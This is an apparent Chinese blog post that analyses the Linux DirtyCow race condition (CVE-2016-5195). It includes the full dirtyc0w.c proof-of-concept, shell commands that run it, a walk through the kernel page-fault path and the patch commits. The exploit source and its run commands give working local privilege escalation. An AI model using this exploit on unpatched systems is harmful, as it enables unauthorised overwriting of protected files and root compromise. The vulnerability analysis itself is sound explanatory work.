本文共 6297 字，大约阅读时间需要 20 分钟。

概述

DirtyCow漏洞算是2016年linux社区一件大事情了，通过此漏洞，非授权用户可以写入任意文件，进一步提升权限。漏洞触发简单，涉及众多的linux版本和平台（linux2.6.22及其以上，涉及redhat，ubuntu，suse等多多平台）。

简单来说，CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时，触发里面的竞争条件导致获取文件可写入权限，从而可以进一步获取更大的权限。

触发

触发代码：

/*####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -lpthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################*/#include 
   
    #include 
    
     #include 
     
      #include 
      
       #include 
       
        void *map;int f;struct stat st;char *name;void *madviseThread(void *arg){  char *str;  str=(char*)arg;  int i,c=0;  for(i=0;i<100000000;i++)  {/*You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661> This is achieved by racing the madvise(MADV_DONTNEED) system call> while having the page of the executable mmapped in memory.*/    c+=madvise(map,100,MADV_DONTNEED);  }  printf("madvise %d\n\n",c);}void *procselfmemThread(void *arg){  char *str;  str=(char*)arg;/*You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16>  The in the wild exploit we are aware of doesn't work on Red Hat>  Enterprise Linux 5 and 6 out of the box because on one side of>  the race it writes to /proc/self/mem, but /proc/self/mem is not>  writable on Red Hat Enterprise Linux 5 and 6.*/  int f=open("/proc/self/mem",O_RDWR);  int i,c=0;  for(i=0;i<100000000;i++) {/*You have to reset the file pointer to the memory position.*/    lseek(f,map,SEEK_SET);    c+=write(f,str,strlen(str));  }  printf("procselfmem %d\n\n", c);}int main(int argc,char *argv[]){/*You have to pass two arguments. File and Contents.*/  if (argc<3)return 1;  pthread_t pth1,pth2;/*You have to open the file in read only mode.*/  f=open(argv[1],O_RDONLY);  fstat(f,&st);  name=argv[1];/*You have to use MAP_PRIVATE for copy-on-write mapping.> Create a private copy-on-write mapping.  Updates to the> mapping are not visible to other processes mapping the same> file, and are not carried through to the underlying file.  It> is unspecified whether changes made to the file after the> mmap() call are visible in the mapped region.*//*You have to open with PROT_READ.*/  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  printf("mmap %x\n\n",map);/*You have to do it on two threads.*/  pthread_create(&pth1,NULL,madviseThread,argv[1]);  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);/*You have to wait for the threads to finish.*/  pthread_join(pth1,NULL);  pthread_join(pth2,NULL);  return 0;}
       
      
     
    
   

触发方式：

# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -pthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000

分析

1.首先梳理下dirtyc0w.c

main函数将用户输入的只读文件mmap映射，flag参数是MAP_PRIVATE且只读。MAP_PRIVATE属性会在对此内存写入时，创建一个cow的副本。然后创建2个线程madviseThread和procselfmemThread，其中procselfmemThread通过/proc/self/mem文件尝试向被映射的内存不断写入数据，madviseThread则不断调用madvise(map,100,MADV_DONTNEED)取消映射，而两个线程不断操作，竞争条件触发只读文件获取写入权限，流程在内核代码中。

2.代码流程参考

(1)第一次写操作：

faultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        do_fault <- pte is not present

if (!(flags & FAULT_FLAG_WRITE))

return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) return do_cow_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); 这里判断写属性并且不是VM_SHARED，进入do_cow_fault创建cow副本

do_cow_fault <- FAULT_FLAG_WRITE    alloc_set_pte

这里4.1代码是do_set_pte()：

if (write) entry = maybe_mkwrite(pte_mkdirty(entry), vma);

maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty                            but keep it RO

这里执行cow配文件映射内存页的副本，返回NULL

# Returns with 0 and retryfollow_page_mask  follow_page_pte(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault

这里判断cow创建的内存页是否具有写权限，没有直接返回NULL，再次进入faultin_page

faultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        FAULT_FLAG_WRITE && !pte_write

if (flags & FAULT_FLAG_WRITE) {

if (!pte_write(entry)) return do_wp_page(mm, vma, address, pte, pmd, ptl, entry); entry = pte_mkdirty(entry); 这里由于副本完成了内存映射，所以没有进入缺页错误，而是直接来到这里，进入do_wp_page()

do_wp_page    PageAnon() <- this is CoWed page already    reuse_swap_page <- page is exclusively ours    wp_page_reuse      maybe_mkwrite <- dirty but RO again      ret = VM_FAULT_WRITE

这里直接使用cow操作的副本，并且一层层返回到faultin_page()函数中，此时带VM_FAULT_WRITE标志。到达

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) *flags &= ~FOLL_WRITE; 这里会清除flags的FOLL_WRITE，因为后面需要对cow副本写入。按正常流程来讲，程序操作cow副本页。

((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE# Returns with 0 and retry as a read fault

再次回到__get_user_pages的retry：

retry: /* * If we have a pending SIGKILL, don’t keep faulting pages and * potentially allocating memory. */ if (unlikely(fatal_signal_pending(current))) return i ? i : -ERESTARTSYS; cond_resched(); page = follow_page_mask(vma, start, foll_flags, &page_mask); 正常流程会对cow副本页进行follow_page_mask()接下来操作，但是cond_resched();这个函数调用给其他线程抢占留了空隙，此时dirtyc0w.c的madviseThread（）线程中的madvise(map,100,MADV_DONTNEED)取消了cow的映射，取消映射后进入follow_page_mask会再次触发缺页中断，而此时do_fault调用，已经在上面清理了flags的写权限的要求，直接调用do_read_fault读取映射文件的内存页，获取映射（原只读）文件的内存页，而不是cow的副本页，此时已经可越权操作。

cond_resched -> different thread will now unmap via madvisefollow_page_mask  !pte_present && pte_nonefaultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        do_fault <- pte is not present      do_read_fault <- this is a read fault and we will get pagecache               page!

再次梳理：

正常流程：write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页（只读），返回NULL->处理cow副页写权限错误，清除FOLL_WRITE权限要求->写入cow副页

漏洞流程：write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页（只读），返回NULL->处理cow副页写权限错误，清除FOLL_WRITE权限要求-> madvise unmap cow副页内存映射->再次触发缺页中断，并且flag清除了FOLL_WRITE，直接调用do_read_fault获取文件内存页，可读。

补丁：

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6

commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

新增了FOLL_COW，faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW，这样不会出现去掉FOLL_WRITE权限的操作，也不会引发后面问题。